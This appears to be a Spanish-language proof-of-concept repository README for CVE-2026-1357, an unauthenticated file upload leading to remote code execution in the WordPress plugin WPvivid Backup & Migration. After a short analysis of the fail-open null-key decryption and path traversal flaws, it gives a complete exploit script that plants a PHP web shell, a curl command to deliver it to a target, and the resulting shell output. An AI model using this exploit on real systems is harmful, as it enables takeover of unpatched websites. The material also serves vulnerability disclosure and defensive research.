
Exploit de prueba de concepto para CVE-2026-1357, una subida de archivos arbitraria sin autenticación que conduce a RCE en el plugin WPvivid Backup & Migration, con generador de exploits e instrucciones de ejecución.
Descubierto por: Lucas Montes (NiRoX)
Vulnerabilidad: Subida de archivos arbitraria sin autenticación que conduce a Ejecución Remota de Código (RCE)
ID CVE: CVE-2026-1357
CVSS: Crítico (9.8)
Estado: Parcheado en la versión 0.9.124
Este repositorio contiene el análisis y la Prueba de Concepto (PoC) para una vulnerabilidad crítica en el plugin de WordPress WPvivid Backup & Migration (versiones <= 0.9.123).
La vulnerabilidad permite a un atacante no autenticado subir archivos arbitrarios (como shells PHP) al servidor, lo que conduce a una Ejecución Remota de Código (RCE) inmediata. Esto se debe a una falla lógica en el manejo de errores criptográficos (Fail-Open) combinada con una vulnerabilidad de Path Traversal.
La vulnerabilidad reside en la forma en que el plugin maneja las solicitudes de transferencia de copias de seguridad remotas a través del hook wpvivid_action=send_to_site. La cadena de explotación consiste en dos fallos distintos que trabajan juntos:
Cuando el plugin recibe una solicitud de transferencia, intenta descifrar la clave de sesión proporcionada usando openssl_private_decrypt().
false. La lógica del plugin no verifica este valor booleano de retorno y procede a pasar false a la librería phpseclib para inicializar el cifrado AES.phpseclib, una clave false o vacía se trata como una cadena de bytes nulos (\0\0...). Esto permite a un atacante cifrar una carga maliciosa usando una clave nula de 128 bits, evitando la necesidad de la clave privada real.Una vez que la carga es "descifrada" exitosamente usando la clave nula, el plugin procesa el contenido JSON.
name dentro de la carga JSON no está saneado.../) para escapar del directorio de copias de seguridad restringido del plugin (normalmente protegido por .htaccess) y escribir un archivo PHP malicioso en el directorio público wp-content/uploads/.Restricciones:
wpvivid_api_token expira, la ruta de código vulnerable permite que la solicitud falle silenciosamente.El exploit depende del comportamiento de phpseclib (v1). Para ejecutar el generador localmente, necesitas los archivos de la librería:
mkdir -p phpseclib/Crypt
wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Rijndael.php -O phpseclib/Crypt/Rijndael.php
wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Base.php -O phpseclib/Crypt/Base.php
exploit.php)Este script crea una carga cifrada con una Clave Nula e incluye el path traversal para subir un shell.
<?php
// exploit.php - Escrito por Lucas Montes (NiRoX)
require_once(__DIR__ . '/phpseclib/Crypt/Rijndael.php');
// 1. Inicializar Rijndael (AES)
$rij = new Crypt_Rijndael();
$rij->setBlockLength(128);
// 2. REPRODUCCIÓN DE LA VULNERABILIDAD
// El servidor usa por defecto una clave nula cuando falla el descifrado RSA (devuelve false).
// Configuramos nuestra clave local a 16 bytes nulos para coincidir con el estado vulnerable del servidor.
$rij->setKey(str_repeat("\0", 16));
// 3. La Carga
$shell_content = '<?php system($_GET["cmd"]); ?>';
// 4. El Objeto JSON con Path Traversal
// Subimos hasta /uploads/ para evitar las restricciones de .htaccess
$params = [
"backup_id" => "1",
"name" => "../uploads/pwn_remote.php",
"data" => base64_encode($shell_content),
"offset" => 0,
"file_size" => strlen($shell_content),
"total_size" => strlen($shell_content),
"index" => 0,
"md5" => md5($shell_content),
"type" => "backup",
"status" => "running"
];
// 5. Cifrar con Clave Nula
$encrypted = $rij->encrypt(json_encode($params));
// 6. Construir el Paquete
// "ABC" es la clave RSA falsa que provoca el retorno 'false' en el servidor
$fake_key = "ABC";
$payload = str_pad(dechex(strlen($fake_key)), 3, "0", STR_PAD_LEFT)
. $fake_key
. str_pad(dechex(strlen($encrypted)), 16, "0", STR_PAD_LEFT)
. $encrypted;
echo base64_encode($payload);
?>
PAYLOAD=$(php exploit.php)
curl -i -s -X POST 'http://TARGET-URL/' \
-d 'wpvivid_action=send_to_site' \
--data-urlencode "wpvivid_content=$PAYLOAD"
http://TARGET-URL/wp-content/uploads/pwn_remote.php?cmd=id
Resultado:
uid=33(www-data) gid=33(www-data) groups=33(www-data)